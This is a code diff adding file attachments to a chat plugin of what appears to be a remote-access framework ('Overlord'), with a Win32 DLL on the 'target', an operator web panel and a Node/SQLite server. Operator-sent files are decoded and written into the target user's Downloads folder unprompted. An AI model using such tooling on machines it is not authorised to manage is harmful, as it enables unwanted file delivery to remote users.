diff --git a/plugins/chat/build.bat b/plugins/chat/build.bat index c17d24f..c82281b 100644 --- a/plugins/chat/build.bat +++ b/plugins/chat/build.bat @@ -38,12 +38,12 @@ for %%T in (%BUILD_TARGETS%) do ( echo [build] cl /LD /EHsc /O2 plugin.cpp /Fe:!OUTFILE! pushd "%NATIVE_DIR%" - cl /nologo /LD /EHsc /O2 plugin.cpp /Fe:"!OUTFILE!" user32.lib gdi32.lib uxtheme.lib dwmapi.lib /link !CL_MACHINE! >nul 2>&1 + cl /nologo /LD /EHsc /O2 plugin.cpp /Fe:"!OUTFILE!" user32.lib gdi32.lib uxtheme.lib dwmapi.lib comdlg32.lib shell32.lib /link !CL_MACHINE! >nul 2>&1 set "CL_STATUS=!errorlevel!" popd if not "!CL_STATUS!"=="0" ( echo [build] cl failed, trying !GXX_CMD!... - !GXX_CMD! -shared -O2 -s -static -o "!OUTFILE!" "%NATIVE_DIR%\plugin.cpp" -luser32 -lgdi32 -luxtheme -ldwmapi + !GXX_CMD! -shared -O2 -s -static -o "!OUTFILE!" "%NATIVE_DIR%\plugin.cpp" -luser32 -lgdi32 -luxtheme -ldwmapi -lcomdlg32 -lshell32 if errorlevel 1 ( echo [error] build failed for !TARGET_OS!-!TARGET_ARCH! exit /b 1 diff --git a/plugins/chat/chat.css b/plugins/chat/chat.css index 3567e5b..2b69765 100644 --- a/plugins/chat/chat.css +++ b/plugins/chat/chat.css @@ -152,6 +152,13 @@ background: #303848; } +.chat-btn-icon { + padding: 8px 12px; + display: inline-flex; + align-items: center; + justify-content: center; +} + /* Status */ .chat-status { display: flex; @@ -233,6 +240,52 @@ color: #dce1ea; } +.chat-msg-attachment { + margin-top: 6px; +} + +.chat-msg-image { + display: block; + max-width: 100%; + max-height: 280px; + border-radius: 6px; + border: 1px solid #2a3346; + background: #0f131b; + cursor: zoom-in; +} + +.chat-msg-file { + display: inline-flex; + align-items: center; + gap: 8px; + padding: 6px 10px; + border-radius: 6px; + background: #0f131b; + border: 1px solid #2a3346; + color: #cfd6e2; + text-decoration: none; + font-size: 12px; + max-width: 100%; +} + +.chat-msg-file:hover { + background: #141a25; + border-color: #3a4a60; +} + +.chat-msg-file i { + color: #8a96aa; +} + +.chat-msg-file-name { + font-weight: 500; + word-break: break-all; +} + +.chat-msg-file-size { + color: #6b7a8d; +} + .chat-msg-time { font-size: 10px; color: #505a6a; diff --git a/plugins/chat/chat.html b/plugins/chat/chat.html index 06d3160..4d086a3 100644 --- a/plugins/chat/chat.html +++ b/plugins/chat/chat.html @@ -58,6 +58,8 @@
+ +
diff --git a/plugins/chat/chat.js b/plugins/chat/chat.js index 97e295c..49bcf46 100644 --- a/plugins/chat/chat.js +++ b/plugins/chat/chat.js @@ -1,5 +1,7 @@ (() => { const PLUGIN_ID = "chat"; + const MAX_ATTACHMENT_SIZE = 5 * 1024 * 1024; + const params = new URLSearchParams(window.location.search); const clientIdInput = document.getElementById("client-id"); @@ -16,11 +18,14 @@ const messagesEl = document.getElementById("messages"); const msgInput = document.getElementById("msg-input"); const btnSend = document.getElementById("btn-send"); + const btnAttach = document.getElementById("btn-attach"); + const fileInput = document.getElementById("file-input"); const configToggle = document.getElementById("config-toggle"); const configBody = document.getElementById("config-body"); let chatOpen = false; let sseStream = null; + const attachmentUrlCache = new Map(); clientIdInput.value = params.get("clientId") || ""; @@ -32,10 +37,11 @@ chatOpen = open; statusDot.className = "chat-status-dot" + (open ? " open" : ""); statusText.textContent = open ? "Chat is open" : "Chat not opened"; - btnOpen.disabled = open; - btnClose.disabled = !open; - msgInput.disabled = !open; - btnSend.disabled = !open; + btnOpen.disabled = open; + btnClose.disabled = !open; + msgInput.disabled = !open; + btnSend.disabled = !open; + btnAttach.disabled = !open; if (open) msgInput.focus(); } @@ -44,32 +50,107 @@ return d.toLocaleTimeString([], { hour: "2-digit", minute: "2-digit" }); } - function escapeHtml(s) { - const d = document.createElement("div"); - d.textContent = s; - return d.innerHTML; + function humanSize(bytes) { + if (bytes < 1024) return bytes + " B"; + if (bytes < 1024 * 1024) return (bytes / 1024).toFixed(1) + " KB"; + return (bytes / 1024 / 1024).toFixed(2) + " MB"; } - function appendMessage(sender, text, direction, timestamp) { - const isOut = direction === "to_target"; + function readFileAsBase64(file) { + return new Promise((resolve, reject) => { + const r = new FileReader(); + r.onload = () => { + const s = r.result; + const i = s.indexOf(","); + resolve(i < 0 ? s : s.slice(i + 1)); + }; + r.onerror = () => reject(r.error || new Error("read failed")); + r.readAsDataURL(file); + }); + } + + async function loadAttachmentBlob(id) { + if (attachmentUrlCache.has(id)) return attachmentUrlCache.get(id); + const { ok, result } = await rpc("get_attachment", { id }); + if (!ok || !result?.dataB64) return null; + const bin = atob(result.dataB64); + const bytes = new Uint8Array(bin.length); + for (let i = 0; i < bin.length; i++) bytes[i] = bin.charCodeAt(i); + const blob = new Blob([bytes], { + type: result.mime || "application/octet-stream", + }); + const url = URL.createObjectURL(blob); + attachmentUrlCache.set(id, url); + return url; + } + + function renderAttachment(att, messageId) { + const wrap = document.createElement("div"); + wrap.className = "chat-msg-attachment"; + const isImage = (att.mime || "").startsWith("image/"); + + if (isImage) { + const img = document.createElement("img"); + img.className = "chat-msg-image"; + img.alt = att.name; + img.title = `${att.name} (${humanSize(att.size)})`; + loadAttachmentBlob(messageId).then((url) => { + if (url) img.src = url; + }); + img.addEventListener("click", async () => { + const url = await loadAttachmentBlob(messageId); + if (url) window.open(url, "_blank"); + }); + wrap.appendChild(img); + } else { + const link = document.createElement("a"); + link.className = "chat-msg-file"; + link.href = "#"; + link.innerHTML = ` `; + link.querySelector(".chat-msg-file-name").textContent = att.name; + link.querySelector(".chat-msg-file-size").textContent = `(${humanSize(att.size)})`; + link.addEventListener("click", async (e) => { + e.preventDefault(); + const url = await loadAttachmentBlob(messageId); + if (!url) return; + const a = document.createElement("a"); + a.href = url; + a.download = att.name; + document.body.appendChild(a); + a.click(); + a.remove(); + }); + wrap.appendChild(link); + } + return wrap; + } + + function appendMessage(msg) { + const isOut = msg.direction === "to_target"; const div = document.createElement("div"); div.className = "chat-msg " + (isOut ? "outgoing" : "incoming"); const senderDiv = document.createElement("div"); senderDiv.className = "chat-msg-sender"; - senderDiv.textContent = sender; + senderDiv.textContent = msg.sender; + div.appendChild(senderDiv); - const textDiv = document.createElement("div"); - textDiv.className = "chat-msg-text"; - textDiv.textContent = text; + if (msg.text) { + const textDiv = document.createElement("div"); + textDiv.className = "chat-msg-text"; + textDiv.textContent = msg.text; + div.appendChild(textDiv); + } + + if (msg.attachment) { + div.appendChild(renderAttachment(msg.attachment, msg.id)); + } const timeDiv = document.createElement("div"); timeDiv.className = "chat-msg-time"; - timeDiv.textContent = formatTime(timestamp || Date.now()); - - div.appendChild(senderDiv); - div.appendChild(textDiv); + timeDiv.textContent = formatTime(msg.timestamp || Date.now()); div.appendChild(timeDiv); + messagesEl.appendChild(div); messagesEl.scrollTop = messagesEl.scrollHeight; } @@ -103,10 +184,10 @@ if (!cid) return; const { ok, result } = await rpc("get_history", { clientId: cid }); if (!ok || !result) return; + for (const url of attachmentUrlCache.values()) URL.revokeObjectURL(url); + attachmentUrlCache.clear(); messagesEl.innerHTML = ""; - for (const m of result) { - appendMessage(m.sender, m.text, m.direction, m.timestamp); - } + for (const m of result) appendMessage(m); } function connectSSE() { @@ -116,7 +197,7 @@ sseStream.addEventListener("new_message", (e) => { const data = JSON.parse(e.data); if (data.clientId !== getClientId()) return; - appendMessage(data.sender, data.text, data.direction, data.timestamp); + appendMessage(data); }); sseStream.addEventListener("chat_status", (e) => { @@ -128,6 +209,8 @@ sseStream.addEventListener("history_cleared", (e) => { const data = JSON.parse(e.data); if (data.clientId !== getClientId()) return; + for (const url of attachmentUrlCache.values()) URL.revokeObjectURL(url); + attachmentUrlCache.clear(); messagesEl.innerHTML = ""; }); } @@ -177,7 +260,12 @@ await rpc("store_message", { clientId: cid, sender, text }); await sendPluginEvent(cid, "chat_message", { from: sender, text }); } catch (err) { - appendMessage("System", "Failed to send: " + err.message, "from_target", Date.now()); + appendMessage({ + sender: "System", + text: "Failed to send: " + err.message, + direction: "from_target", + timestamp: Date.now(), + }); } }); @@ -188,6 +276,50 @@ } }); + btnAttach.addEventListener("click", () => fileInput.click()); + + fileInput.addEventListener("change", async () => { + const file = fileInput.files?.[0]; + fileInput.value = ""; + if (!file) return; + if (file.size > MAX_ATTACHMENT_SIZE) { + alert(`File is too large (${humanSize(file.size)}). Max is ${humanSize(MAX_ATTACHMENT_SIZE)}.`); + return; + } + const cid = getClientId(); + if (!cid) { alert("Enter a Client ID first."); return; } + + const sender = operatorNameIn.value.trim() || "Operator"; + const prevDisabled = btnAttach.disabled; + btnAttach.disabled = true; + try { + const dataB64 = await readFileAsBase64(file); + const mime = file.type || "application/octet-stream"; + await rpc("store_attachment", { + clientId: cid, + sender, + name: file.name, + mime, + dataB64, + }); + await sendPluginEvent(cid, "chat_attachment", { + from: sender, + name: file.name, + mime, + dataB64, + }); + } catch (err) { + appendMessage({ + sender: "System", + text: "Failed to send file: " + err.message, + direction: "from_target", + timestamp: Date.now(), + }); + } finally { + btnAttach.disabled = prevDisabled; + } + }); + btnClear.addEventListener("click", async () => { const cid = getClientId(); if (!cid) return; diff --git a/plugins/chat/native/plugin.cpp b/plugins/chat/native/plugin.cpp index 13bd147..4f2e2e6 100644 --- a/plugins/chat/native/plugin.cpp +++ b/plugins/chat/native/plugin.cpp @@ -2,23 +2,27 @@ * Chat Plugin — spawns a Win32 chat window on the target (Windows only). * * Build (MSVC): - * cl /LD /EHsc /O2 plugin.cpp /Fe:chat-windows-amd64.dll user32.lib gdi32.lib uxtheme.lib dwmapi.lib + * cl /LD /EHsc /O2 plugin.cpp /Fe:chat-windows-amd64.dll user32.lib gdi32.lib uxtheme.lib dwmapi.lib comdlg32.lib shell32.lib * * Build (MinGW): - * x86_64-w64-mingw32-g++ -shared -O2 -o chat-windows-amd64.dll plugin.cpp -luser32 -lgdi32 -luxtheme -ldwmapi + * x86_64-w64-mingw32-g++ -shared -O2 -o chat-windows-amd64.dll plugin.cpp -luser32 -lgdi32 -luxtheme -ldwmapi -lcomdlg32 -lshell32 */ #include #include #include #include +#include #include +#include #define EXPORT extern "C" __declspec(dllexport) #define WIN32_LEAN_AND_MEAN #include #include #include +#include +#include #ifndef DWMWA_USE_IMMERSIVE_DARK_MODE #define DWMWA_USE_IMMERSIVE_DARK_MODE 20 @@ -34,9 +38,12 @@ #define WM_CHAT_APPEND (WM_APP + 1) #define WM_CHAT_CLOSE (WM_APP + 2) -#define IDC_LOG 101 -#define IDC_INPUT 102 -#define IDC_SEND 103 +#define IDC_LOG 101 +#define IDC_INPUT 102 +#define IDC_SEND 103 +#define IDC_ATTACH 104 + +#define MAX_ATTACHMENT_BYTES (5 * 1024 * 1024) static const char *WND_CLASS_NAME = "OverlordChatWnd"; @@ -73,6 +80,7 @@ static HWND g_hwnd = NULL; static HWND g_hwnd_log = NULL; static HWND g_hwnd_input = NULL; static HWND g_hwnd_send = NULL; +static HWND g_hwnd_attach = NULL; static HANDLE g_thread = NULL; static bool g_class_reg = false; static HFONT g_font = NULL; @@ -157,16 +165,151 @@ static std::string json_escape(const std::string &s) { return out; } +/* ------------------------------------------------------------------ */ +/* Base64 */ +/* ------------------------------------------------------------------ */ + +static const char kB64Tab[] = + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + +static std::string base64_encode(const unsigned char *data, size_t len) { + std::string out; + out.reserve(((len + 2) / 3) * 4); + size_t i = 0; + while (i + 3 <= len) { + unsigned a = data[i], b = data[i + 1], c = data[i + 2]; + out += kB64Tab[a >> 2]; + out += kB64Tab[((a & 0x03) << 4) | (b >> 4)]; + out += kB64Tab[((b & 0x0f) << 2) | (c >> 6)]; + out += kB64Tab[c & 0x3f]; + i += 3; + } + if (i < len) { + unsigned a = data[i]; + unsigned b = (i + 1 < len) ? data[i + 1] : 0; + out += kB64Tab[a >> 2]; + out += kB64Tab[((a & 0x03) << 4) | (b >> 4)]; + if (i + 1 < len) { + out += kB64Tab[(b & 0x0f) << 2]; + out += '='; + } else { + out += "=="; + } + } + return out; +} + +static int b64_val(char c) { + if (c >= 'A' && c <= 'Z') return c - 'A'; + if (c >= 'a' && c <= 'z') return c - 'a' + 26; + if (c >= '0' && c <= '9') return c - '0' + 52; + if (c == '+') return 62; + if (c == '/') return 63; + return -1; +} + +static std::vector base64_decode(const char *s, size_t len) { + std::vector out; + out.reserve(len * 3 / 4 + 4); + int buf = 0, bits = 0; + for (size_t i = 0; i < len; i++) { + char c = s[i]; + if (c == '=' || c == '\n' || c == '\r' || c == ' ' || c == '\t') continue; + int v = b64_val(c); + if (v < 0) continue; + buf = (buf << 6) | v; + bits += 6; + if (bits >= 8) { + bits -= 8; + out.push_back((unsigned char)((buf >> bits) & 0xff)); + } + } + return out; +} + +/* ------------------------------------------------------------------ */ +/* Filename / path helpers */ +/* ------------------------------------------------------------------ */ + +static std::string basename_only(const std::string &p) { + auto pos = p.find_last_of("\\/"); + return (pos == std::string::npos) ? p : p.substr(pos + 1); +} + +static std::string sanitize_filename(const std::string &name) { + std::string b = basename_only(name); + std::string out; + for (char c : b) { + if (c == ':' || c == '*' || c == '?' || c == '"' || + c == '<' || c == '>' || c == '|' || c == '\\' || c == '/') { + out += '_'; + } else if ((unsigned char)c < 0x20) { + out += '_'; + } else { + out += c; + } + } + if (out.empty()) out = "file"; + return out; +} + +static std::string guess_mime(const std::string &name) { + auto pos = name.find_last_of('.'); + if (pos == std::string::npos) return "application/octet-stream"; + std::string ext = name.substr(pos + 1); + for (auto &c : ext) c = (char)tolower((unsigned char)c); + if (ext == "png") return "image/png"; + if (ext == "jpg" || ext == "jpeg") return "image/jpeg"; + if (ext == "gif") return "image/gif"; + if (ext == "webp") return "image/webp"; + if (ext == "bmp") return "image/bmp"; + if (ext == "svg") return "image/svg+xml"; + if (ext == "txt") return "text/plain"; + if (ext == "pdf") return "application/pdf"; + if (ext == "zip") return "application/zip"; + if (ext == "json") return "application/json"; + return "application/octet-stream"; +} + +static std::string get_save_dir() { + char prof[MAX_PATH]; + DWORD n = GetEnvironmentVariableA("USERPROFILE", prof, MAX_PATH); + if (n == 0 || n >= MAX_PATH) return ""; + std::string dir(prof); + dir += "\\Downloads"; + return dir; +} + +static std::string unique_path(const std::string &dir, const std::string &name) { + std::string full = dir + "\\" + name; + DWORD attrs = GetFileAttributesA(full.c_str()); + if (attrs == INVALID_FILE_ATTRIBUTES) return full; + + auto dot = name.find_last_of('.'); + std::string stem = (dot == std::string::npos) ? name : name.substr(0, dot); + std::string ext = (dot == std::string::npos) ? "" : name.substr(dot); + for (int i = 1; i < 1000; i++) { + char buf[32]; + sprintf(buf, " (%d)", i); + std::string cand = dir + "\\" + stem + buf + ext; + if (GetFileAttributesA(cand.c_str()) == INVALID_FILE_ATTRIBUTES) return cand; + } + return full; +} + /* ------------------------------------------------------------------ */ /* send_event — call host callback */ /* ------------------------------------------------------------------ */ -static void send_event(const char *event, const char *payload) { +static void send_event(const char *event, const char *payload, size_t payloadLen) { host_callback_t cb = g_callback; if (!cb) return; - int elen = event ? (int)strlen(event) : 0; - int plen = payload ? (int)strlen(payload) : 0; - cb(event, (uintptr_t)elen, payload, (uintptr_t)plen); + int elen = event ? (int)strlen(event) : 0; + cb(event, (uintptr_t)elen, payload, (uintptr_t)payloadLen); +} + +static void send_event(const char *event, const char *payload) { + send_event(event, payload, payload ? strlen(payload) : 0); } /* ------------------------------------------------------------------ */ @@ -181,6 +324,12 @@ static void append_to_log(const char *text) { SendMessageA(g_hwnd_log, EM_SCROLLCARET, 0, 0); } +static void post_log_line(const std::string &text) { + if (!g_hwnd) return; + char *dup = _strdup(text.c_str()); + PostMessageA(g_hwnd, WM_CHAT_APPEND, 0, (LPARAM)dup); +} + static void do_send_message() { char buf[4096]; int len = GetWindowTextA(g_hwnd_input, buf, sizeof(buf)); @@ -196,6 +345,68 @@ static void do_send_message() { send_event("chat_message", payload.c_str()); } +static void do_attach_file() { + char path[MAX_PATH * 2] = {0}; + OPENFILENAMEA ofn = {}; + ofn.lStructSize = sizeof(ofn); + ofn.hwndOwner = g_hwnd; + ofn.lpstrFile = path; + ofn.nMaxFile = sizeof(path); + ofn.lpstrFilter = "All Files\0*.*\0Images\0*.png;*.jpg;*.jpeg;*.gif;*.webp;*.bmp\0"; + ofn.lpstrTitle = "Attach file"; + ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST | OFN_EXPLORER | OFN_NOCHANGEDIR; + if (!GetOpenFileNameA(&ofn)) return; + + FILE *f = fopen(path, "rb"); + if (!f) { + post_log_line("[chat] Could not open selected file\r\n"); + return; + } + fseek(f, 0, SEEK_END); + long fsize = ftell(f); + fseek(f, 0, SEEK_SET); + if (fsize <= 0) { fclose(f); return; } + if ((size_t)fsize > MAX_ATTACHMENT_BYTES) { + fclose(f); + char msg[160]; + sprintf(msg, "[chat] File too large (%ld bytes); max is %d bytes\r\n", + fsize, MAX_ATTACHMENT_BYTES); + post_log_line(msg); + return; + } + + std::vector data((size_t)fsize); + size_t got = fread(data.data(), 1, (size_t)fsize, f); + fclose(f); + if (got != (size_t)fsize) { + post_log_line("[chat] Failed to read attachment\r\n"); + return; + } + + std::string name = basename_only(path); + std::string mime = guess_mime(name); + std::string b64 = base64_encode(data.data(), data.size()); + + std::string payload; + payload.reserve(b64.size() + 256); + payload += "{\"from\":\""; + payload += json_escape(g_config.targetName); + payload += "\",\"name\":\""; + payload += json_escape(name); + payload += "\",\"mime\":\""; + payload += json_escape(mime); + payload += "\",\"dataB64\":\""; + payload += b64; + payload += "\"}"; + + char fmt[256]; + sprintf(fmt, "%s sent file: %s (%ld bytes)\r\n", + g_config.targetName, name.c_str(), fsize); + post_log_line(fmt); + + send_event("chat_attachment", payload.data(), payload.size()); +} + /* ------------------------------------------------------------------ */ /* Input subclass — Enter key sends message */ /* ------------------------------------------------------------------ */ @@ -230,6 +441,11 @@ static LRESULT CALLBACK ChatWndProc(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp) { SetWindowTheme(g_hwnd_log, L"DarkMode_Explorer", NULL); + g_hwnd_attach = CreateWindowExA( + 0, "BUTTON", "+", + WS_CHILD | WS_VISIBLE | BS_OWNERDRAW | WS_TABSTOP, + 0, 0, 0, 0, hwnd, (HMENU)(uintptr_t)IDC_ATTACH, g_hInstance, NULL); + g_hwnd_input = CreateWindowExA( 0, "EDIT", "", WS_CHILD | WS_VISIBLE | ES_AUTOHSCROLL | WS_TABSTOP, @@ -242,9 +458,10 @@ static LRESULT CALLBACK ChatWndProc(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp) { WS_CHILD | WS_VISIBLE | BS_OWNERDRAW | WS_TABSTOP, 0, 0, 0, 0, hwnd, (HMENU)(uintptr_t)IDC_SEND, g_hInstance, NULL); - SendMessageA(g_hwnd_log, WM_SETFONT, (WPARAM)g_font, TRUE); - SendMessageA(g_hwnd_input, WM_SETFONT, (WPARAM)g_font, TRUE); - SendMessageA(g_hwnd_send, WM_SETFONT, (WPARAM)g_font, TRUE); + SendMessageA(g_hwnd_log, WM_SETFONT, (WPARAM)g_font, TRUE); + SendMessageA(g_hwnd_input, WM_SETFONT, (WPARAM)g_font, TRUE); + SendMessageA(g_hwnd_send, WM_SETFONT, (WPARAM)g_font, TRUE); + SendMessageA(g_hwnd_attach, WM_SETFONT, (WPARAM)g_font, TRUE); g_orig_input_proc = (WNDPROC)SetWindowLongPtrA( g_hwnd_input, GWLP_WNDPROC, (LONG_PTR)InputSubclassProc); @@ -261,11 +478,16 @@ static LRESULT CALLBACK ChatWndProc(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp) { RECT rc; GetClientRect(hwnd, &rc); int w = rc.right, h = rc.bottom; - int pad = 10, inputH = 32, btnW = 65, gap = 8; + int pad = 10, inputH = 32, btnW = 65, attachW = 32, gap = 8; - MoveWindow(g_hwnd_log, pad, pad, w - 2 * pad, h - inputH - 3 * pad, TRUE); - MoveWindow(g_hwnd_input, pad, h - inputH - pad, w - btnW - 2 * pad - gap, inputH, TRUE); - MoveWindow(g_hwnd_send, w - btnW - pad, h - inputH - pad, btnW, inputH, TRUE); + MoveWindow(g_hwnd_log, pad, pad, w - 2 * pad, h - inputH - 3 * pad, TRUE); + MoveWindow(g_hwnd_attach, pad, h - inputH - pad, attachW, inputH, TRUE); + MoveWindow(g_hwnd_input, + pad + attachW + gap, + h - inputH - pad, + w - btnW - attachW - 2 * pad - 2 * gap, + inputH, TRUE); + MoveWindow(g_hwnd_send, w - btnW - pad, h - inputH - pad, btnW, inputH, TRUE); return 0; } @@ -282,6 +504,11 @@ static LRESULT CALLBACK ChatWndProc(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp) { SetFocus(g_hwnd_input); return 0; } + if (LOWORD(wp) == IDC_ATTACH && HIWORD(wp) == BN_CLICKED) { + do_attach_file(); + SetFocus(g_hwnd_input); + return 0; + } break; case WM_CTLCOLOREDIT: { @@ -337,6 +564,30 @@ static LRESULT CALLBACK ChatWndProc(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp) { DT_CENTER | DT_VCENTER | DT_SINGLELINE); return TRUE; } + if (dis->CtlID == IDC_ATTACH) { + COLORREF col = (dis->itemState & ODS_SELECTED) + ? RGB(48, 56, 72) + : RGB(60, 68, 86); + HBRUSH br = CreateSolidBrush(col); + FillRect(dis->hDC, &dis->rcItem, br); + DeleteObject(br); + + HPEN pen = CreatePen(PS_SOLID, 1, RGB(80, 90, 110)); + HPEN oldPen = (HPEN)SelectObject(dis->hDC, pen); + HBRUSH oldBr = (HBRUSH)SelectObject(dis->hDC, GetStockObject(NULL_BRUSH)); + RoundRect(dis->hDC, dis->rcItem.left, dis->rcItem.top, + dis->rcItem.right, dis->rcItem.bottom, 6, 6); + SelectObject(dis->hDC, oldPen); + SelectObject(dis->hDC, oldBr); + DeleteObject(pen); + + SetTextColor(dis->hDC, RGB(220, 225, 234)); + SetBkMode(dis->hDC, TRANSPARENT); + SelectObject(dis->hDC, g_font); + DrawTextA(dis->hDC, "+", -1, &dis->rcItem, + DT_CENTER | DT_VCENTER | DT_SINGLELINE); + return TRUE; + } break; } @@ -364,10 +615,11 @@ static LRESULT CALLBACK ChatWndProc(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp) { SetWindowLongPtrA(g_hwnd_input, GWLP_WNDPROC, (LONG_PTR)g_orig_input_proc); g_orig_input_proc = NULL; } - g_hwnd_log = NULL; - g_hwnd_input = NULL; - g_hwnd_send = NULL; - g_hwnd = NULL; + g_hwnd_log = NULL; + g_hwnd_input = NULL; + g_hwnd_send = NULL; + g_hwnd_attach = NULL; + g_hwnd = NULL; if (g_font) { DeleteObject(g_font); g_font = NULL; } if (g_bg_brush) { DeleteObject(g_bg_brush); g_bg_brush = NULL; } if (g_log_brush) { DeleteObject(g_log_brush); g_log_brush = NULL; } @@ -501,7 +753,7 @@ EXPORT int PluginOnEvent(const char *event, int eventLen, std::string tgName = json_extract(pl.c_str(), (int)pl.size(), "targetName"); std::string title = json_extract(pl.c_str(), (int)pl.size(), "title"); bool closable = json_extract_bool(pl.c_str(), (int)pl.size(), "closable", true); - bool onTop = json_extract_bool(pl.c_str(), (int)pl.size(), "alwaysOnTop", false); + bool onTop = json_extract_bool(pl.c_str(), (int)pl.size(), "alwaysOnTop", false); EnterCriticalSection(&g_cs); if (!opName.empty()) strncpy(g_config.operatorName, opName.c_str(), sizeof(g_config.operatorName) - 1); @@ -528,6 +780,55 @@ EXPORT int PluginOnEvent(const char *event, int eventLen, return 0; } + if (ev == "chat_attachment") { + std::string from = json_extract(pl.c_str(), (int)pl.size(), "from"); + std::string name = json_extract(pl.c_str(), (int)pl.size(), "name"); + std::string b64 = json_extract(pl.c_str(), (int)pl.size(), "dataB64"); + if (from.empty()) from = g_config.operatorName; + if (name.empty()) name = "file"; + if (b64.empty()) { + std::string err = "[chat] attachment from " + from + " had no data\r\n"; + post_log_line(err); + return 0; + } + + std::vector bytes = base64_decode(b64.data(), b64.size()); + if (bytes.empty()) { + std::string err = "[chat] failed to decode attachment from " + from + "\r\n"; + post_log_line(err); + return 0; + } + + std::string dir = get_save_dir(); + if (dir.empty()) { + post_log_line("[chat] could not resolve temp directory\r\n"); + return 0; + } + std::string safe = sanitize_filename(name); + std::string full = unique_path(dir, safe); + + FILE *f = fopen(full.c_str(), "wb"); + if (!f) { + std::string err = "[chat] could not write " + full + "\r\n"; + post_log_line(err); + return 0; + } + size_t wrote = fwrite(bytes.data(), 1, bytes.size(), f); + fclose(f); + if (wrote != bytes.size()) { + std::string err = "[chat] short write to " + full + "\r\n"; + post_log_line(err); + return 0; + } + + char header[128]; + sprintf(header, "%s sent file: %s (%zu bytes)\r\n", + from.c_str(), name.c_str(), bytes.size()); + std::string line = std::string(header) + " Saved to: " + full + "\r\n"; + post_log_line(line); + return 0; + } + if (ev == "close_chat") { if (g_hwnd) send_event("chat_closed", "{}"); close_chat_window(); diff --git a/plugins/chat/server.js b/plugins/chat/server.js index adbe6b6..ef6f241 100644 --- a/plugins/chat/server.js +++ b/plugins/chat/server.js @@ -15,12 +15,32 @@ export default { `CREATE INDEX IF NOT EXISTS msg_by_client ON messages(client_id, timestamp)` ); } catch (_) {} + + const cols = ctx.db + .prepare(`PRAGMA table_info(messages)`) + .all() + .map((r) => r.name); + if (!cols.includes("attachment_name")) { + try { + ctx.db.exec(`ALTER TABLE messages ADD COLUMN attachment_name TEXT`); + } catch (_) {} + } + if (!cols.includes("attachment_mime")) { + try { + ctx.db.exec(`ALTER TABLE messages ADD COLUMN attachment_mime TEXT`); + } catch (_) {} + } + if (!cols.includes("attachment_data")) { + try { + ctx.db.exec(`ALTER TABLE messages ADD COLUMN attachment_data BLOB`); + } catch (_) {} + } }, onEvent(ctx, clientId, event, payload) { if (event === "chat_message") { const ts = Date.now(); - ctx.db + const info = ctx.db .prepare( `INSERT INTO messages(client_id, sender, direction, text, timestamp) VALUES (?, ?, ?, ?, ?)` ) @@ -32,6 +52,7 @@ export default { ts ); ctx.broadcast("new_message", { + id: Number(info.lastInsertRowid), clientId, sender: payload.from || "Unknown", direction: "from_target", @@ -39,6 +60,41 @@ export default { timestamp: ts, }); } + if (event === "chat_attachment") { + const ts = Date.now(); + const name = payload.name || "file"; + const mime = payload.mime || "application/octet-stream"; + let buf = null; + try { + buf = Buffer.from(payload.dataB64 || "", "base64"); + } catch (_) { + buf = null; + } + if (!buf || buf.length === 0) return; + const info = ctx.db + .prepare( + `INSERT INTO messages(client_id, sender, direction, text, timestamp, attachment_name, attachment_mime, attachment_data) VALUES (?, ?, ?, ?, ?, ?, ?, ?)` + ) + .run( + clientId, + payload.from || "Unknown", + "from_target", + "", + ts, + name, + mime, + buf + ); + ctx.broadcast("new_message", { + id: Number(info.lastInsertRowid), + clientId, + sender: payload.from || "Unknown", + direction: "from_target", + text: "", + timestamp: ts, + attachment: { name, mime, size: buf.length }, + }); + } if (event === "chat_opened") { ctx.broadcast("chat_status", { clientId, status: "opened" }); } @@ -51,26 +107,102 @@ export default { get_history(ctx, params) { return ctx.db .prepare( - `SELECT * FROM messages WHERE client_id = ? ORDER BY timestamp ASC LIMIT 500` + `SELECT id, client_id, sender, direction, text, timestamp, + attachment_name, attachment_mime, + CASE WHEN attachment_data IS NULL THEN 0 ELSE length(attachment_data) END AS attachment_size + FROM messages WHERE client_id = ? ORDER BY timestamp ASC LIMIT 500` ) - .all(params.clientId); + .all(params.clientId) + .map((r) => ({ + id: r.id, + clientId: r.client_id, + sender: r.sender, + direction: r.direction, + text: r.text, + timestamp: r.timestamp, + attachment: r.attachment_name + ? { + name: r.attachment_name, + mime: r.attachment_mime, + size: r.attachment_size, + } + : null, + })); + }, + + get_attachment(ctx, params) { + const row = ctx.db + .prepare( + `SELECT attachment_name, attachment_mime, attachment_data FROM messages WHERE id = ?` + ) + .get(params.id); + if (!row || !row.attachment_data) { + return { ok: false, error: "not found" }; + } + const buf = Buffer.isBuffer(row.attachment_data) + ? row.attachment_data + : Buffer.from(row.attachment_data); + return { + ok: true, + name: row.attachment_name, + mime: row.attachment_mime, + dataB64: buf.toString("base64"), + }; }, store_message(ctx, params) { const ts = Date.now(); - ctx.db + const info = ctx.db .prepare( `INSERT INTO messages(client_id, sender, direction, text, timestamp) VALUES (?, ?, ?, ?, ?)` ) .run(params.clientId, params.sender, "to_target", params.text, ts); ctx.broadcast("new_message", { + id: Number(info.lastInsertRowid), clientId: params.clientId, sender: params.sender, direction: "to_target", text: params.text, timestamp: ts, }); - return { ok: true, timestamp: ts }; + return { ok: true, id: Number(info.lastInsertRowid), timestamp: ts }; + }, + + store_attachment(ctx, params) { + const ts = Date.now(); + const name = params.name || "file"; + const mime = params.mime || "application/octet-stream"; + let buf = null; + try { + buf = Buffer.from(params.dataB64 || "", "base64"); + } catch (_) {} + if (!buf || buf.length === 0) { + return { ok: false, error: "empty data" }; + } + const info = ctx.db + .prepare( + `INSERT INTO messages(client_id, sender, direction, text, timestamp, attachment_name, attachment_mime, attachment_data) VALUES (?, ?, ?, ?, ?, ?, ?, ?)` + ) + .run( + params.clientId, + params.sender, + "to_target", + "", + ts, + name, + mime, + buf + ); + ctx.broadcast("new_message", { + id: Number(info.lastInsertRowid), + clientId: params.clientId, + sender: params.sender, + direction: "to_target", + text: "", + timestamp: ts, + attachment: { name, mime, size: buf.length }, + }); + return { ok: true, id: Number(info.lastInsertRowid), timestamp: ts }; }, clear_history(ctx, params) {